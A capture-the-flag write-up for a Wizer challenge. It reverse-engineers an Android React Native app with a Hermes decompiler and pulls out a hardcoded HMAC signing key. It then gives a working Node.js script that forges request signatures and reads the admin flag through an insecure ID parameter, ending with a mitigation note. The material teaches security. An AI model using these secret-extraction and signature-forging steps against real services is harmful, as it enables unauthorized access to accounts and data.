This last challenge was a bit different from the previous ones, as it mainly focussed on reverse engineering instead of web exploitation, but in the end, we still attacked the website with what we found inside the Mobile App. Our task is simple:
Get the flag!
Source Code
The source code for this application shows that we need to pass the verifySignature()
middleware to log in and read the flag:
const users = {
'admin': { id: 1, username: 'admin', password: process.env.ADMIN_PASSWORD, flag: process.env.FLAG },
'user': { id: 2, username: 'user', password: 'password', flag: 'You don\'t have a flag.' }
};
function requireLogin(req, res, next) {
if (req.session && req.session.user) {
return next();
} else {
return res.status(401).json({ message: 'Unauthorized' });
}
}
function verifySignature(secret) {
return function(req, res, next) {
const url = req.originalUrl;
const body = req.body || {};
const signature = req.get('Signature');
if (!signature) return res.status(401).send('Signature header is missing');
const hmac = crypto.createHmac('sha256', secret);
hmac.update(url);
hmac.update(JSON.stringify(body));
const calculatedSignature = hmac.digest('hex');
if (signature !== calculatedSignature) return res.status(401).send('Invalid signature');
next();
};
}
const verifySignatureMiddleware = verifySignature(process.env.SIGNING_SECRET)
const app = express();
app.use(cors());
app.use(express.json());
app.use(session({secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: true}));
app.post('/login', verifySignatureMiddleware, (req, res) => {
const { username, password } = req.body;
const user = users[username];
if (user && user.password === password) {
req.session.user = username;
res.json({ message: 'Login successful', user: user });
} else {
res.status(401).json({ message: 'Invalid username or password' });
}
});
app.get('/flag', requireLogin, verifySignatureMiddleware, (req, res) => {
const id = Number(req.query.id);
res.json({ flag: Object.entries(users).find(([_, value]) => value.id === id)[1]['flag'] });
});
app.get('/download/SignHere.apk', (req, res) => {
res.send('Download the app <a href=https://sam-staging.wizer-ctf.com/downloads/SignHere.apk>here</a>');
});
app.post('/submit_flag', (req, res) => {
if (users['admin']['flag'] === req.body.flag) {
res.json('Congratulations! ' + users['admin']['flag'])
} else {
res.json('Not quite correct!')
}
})
app.listen(3000);
The signature verification function uses $SIGNING_SECRET
as an unknown value for signing the path and body with an HMAC. This process seems pretty secure because we can't just forge this, and there do not seem to be any tricks to get around this middleware. Instead, we should focus on the /download/SignHere.apk
endpoint which hosts an APK file at https://sam-staging.wizer-ctf.com/downloads/SignHere.apk.
After downloading this 60MB file, we can try to find anything in this app that may help exploit the original web server.
Reverse Engineering the APK
The APK format is an Android App, which is just a fancy ZIP archive. That means we can unzip it with any tool that accepts such files:
This will have created a SignHere.zip
folder where we can look around and find metadata of the app, as well as compiled code in the classes*.dex
files:
SignHere.zip
├── AndroidManifest.xml
├── DebugProbesKt.bin
│ ...
├── assets
│ ├── app.config
│ ├── dexopt
│ │ ├── baseline.prof
│ │ └── baseline.profm
│ └── index.android.bundle
├── classes.dex
├── classes2.dex
├── classes3.dex
├── kotlin-tooling-metadata.json
├── lib
│ ...
└── resources.arsc
If you have some experience with analyzing APKs, you may notice that the asserts/index.android.bundle
file is not always there. By searching for the filename online, we find that this is a bundle file for a React Native app. Tools like react-native-decompiler should be able to decompile such files into more readable source code:
$ npx react-native-decompiler -i SignHere.zip/assets/index.android.bundle -o output.js
Reading file...
[!] No modules were found!
[!] Possible reasons:
[!] - The React Native app is unbundled. If it is, export the "js-modules" folder from the app and provide it as the --js-modules argument
[!] - The bundle is a Hermes/binary file (ex. Facebook, Instagram). These files are not supported
[!] - The provided Webpack bundle input is not or does not contain the entrypoint bundle
[!] - The provided Webpack bundle was built from V5, which is not supported
[!] - The file provided is not a React Native or Webpack bundle.
Unfortunately, this tool doesn't seem to work on this file. The most likely reason for this is the second it mentions, that it is a Hermes/binary file, not supported by this tool. We can confirm this by running file
on it:
$ file SignHere.zip/assets/index.android.bundle
SignHere.zip/assets/index.android.bundle: Hermes JavaScript bytecode, version 96
Now we can try to search for any decompiler that supports "Hermes", and we quickly find hermes-dec. This tool should be able to decompile the binary file to JavaScrippt pseudo-code and may help us understand what is going on in the app.
After opening the new SignHere.js
file, we see a ton of almost unreadable code. We can be smart about this, though, as we are only searching for something having to do with this Signature header. Maybe we can find the HMAC key hidden in this app somewhere.
Searching for "Signature" in the resulting file quickly gets us to this part of the code (line 195917):
r2 = global;
r5 = r2.JSON;
r4 = r5.stringify;
r0 = {};
r6 = _closure2_slot2;
r0['username'] = r6;
r6 = _closure2_slot4;
r0['password'] = r6;
r5 = r4.bind(r5)(r0);
r0 = _closure1_slot4;
r9 = r0.default;
r8 = '/login';
r7 = r8 + r5;
r0 = undefined;
r6 = '54682173315341563372727272727272725959595959594730304453336372337421';
r7 = r9.bind(r0)(r7, r6);
r6 = r7.toString;
r4 = _closure1_slot5;
r4 = r4.default;
r7 = r6.bind(r7)(r4);
r4 = r2.fetch;
r6 = _closure2_slot0;
r2 = r2.HermesInternal;
r3 = r2.concat;
r2 = '';
r3 = r3.bind(r2)(r6, r8);
r2 = {};
r6 = 'POST';
r2['method'] = r6;
r6 = {};
r8 = 'application/json';
r6['Content-Type'] = r8;
r6['Signature'] = r7;
r2['headers'] = r6;
r2['body'] = r5;
r4 = r4.bind(r0)(r3, r2);
All variable names and the code structure are lost while compiling, but with some educated guesses we can rename some variables and follow the function calls to get something a little more readable:
body = {};
body['username'] = _closure2_slot2;
body['password'] = _closure2_slot4;
body = JSON.stringify(body);
r0 = _closure1_slot4;
r9 = r0.default;
pathname = '/login';
data_to_sign = pathname + body;
r0 = undefined;
hmac_secret = '54682173315341563372727272727272725959595959594730304453336372337421';
r7 = r9.bind(r0)(data_to_sign, hmac_secret);
r6 = r7.toString;
r4 = _closure1_slot5;
r4 = r4.default;
signature = r6.bind(r7)(r4);
fetch = r2.fetch;
r6 = _closure2_slot0;
r2 = r2.HermesInternal;
r3 = r2.concat;
r2 = '';
r3 = r3.bind(r2)(r6, pathname);
options = {};
options['method'] = 'POST';
headers = {};
headers['Content-Type'] = 'application/json';
headers['Signature'] = signature;
options['headers'] = headers;
options['body'] = r5;
res = fetch.bind(r0)(r3, options);
It seems to generate the 'Signature'
header from an HMAC operation on the pathname and body and a secret key of '54682173315341563372727272727272725959595959594730304453336372337421'
. That is what we were looking for!
The Android app leaks the signing key that was unknown before, so we can now forge any signature and pass the check in the NodeJS server.
Forging Signatures
This process now becomes pretty easy because the main code is already written in the NodeJS source code:
function verifySignature(secret) {
return function (req, res, next) {
const url = req.originalUrl;
const body = req.body || {};
const signature = req.get('Signature');
if (!signature) return res.status(401).send('Signature header is missing');
const hmac = crypto.createHmac('sha256', secret);
hmac.update(url);
hmac.update(JSON.stringify(body));
const calculatedSignature = hmac.digest('hex');
console.log('Signature:', signature)
console.log('Calculated:', calculatedSignature)
if (signature !== calculatedSignature) return res.status(401).send('Invalid signature');
next();
};
}
For each request we send, we just have to calculate this same calculatedSignature
value beforehand and pass it along in a Signature:
header. We can make a simple utility function for ourselves that does this:
const crypto = require('crypto');
const HOST = "https://signhere-server-4589.vercel.app";
const SECRET = "54682173315341563372727272727272725959595959594730304453336372337421";
function generateSignature(url, body) {
const hmac = crypto.createHmac('sha256', SECRET);
hmac.update(url);
hmac.update(body);
return hmac.digest('hex');
}
function fetchSigned(resource, options) {
const url = new URL(resource, HOST);
options = options || {};
const baseURI = url.pathname + url.search;
const signature = generateSignature(baseURI, options.body || JSON.stringify({}));
options.headers = {
...options.headers,
'Signature': signature
}
return fetch(url, options);
}
Then all that's left to do is use the server as it is supposed to, by first logging in and then using the session cookie to fetch /flag?id=1
to get the 'admin' user's flag.
(async () => {
const res = await fetchSigned('/login', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'user',
password: 'password',
})
});
console.log(await res.text());
const cookie = res.headers.get('Set-Cookie');
const res2 = await fetchSigned('/flag?' + new URLSearchParams({ id: 1 }), {
headers: {
'Cookie': cookie
}
});
console.log(await res2.text());
})()
Running the above code, we log in and get the flag!
{"message":"Login successful","user":{"id":2,"username":"user","password":"password","flag":"You don't have a flag."}}
{"flag":"WIZER{Y0uR34W1Z4RD0F4NDR01D4NDR34cTN4tiVE}"}
Mitigation
If the app is public for download, hiding a signing secret in there will not prevent it from being found. Instead, remove the signature functionality as it only adds security through obscurity and instead build a safe authorization system to make sure only users with enough privileges can perform sensitive actions or read sensitive data.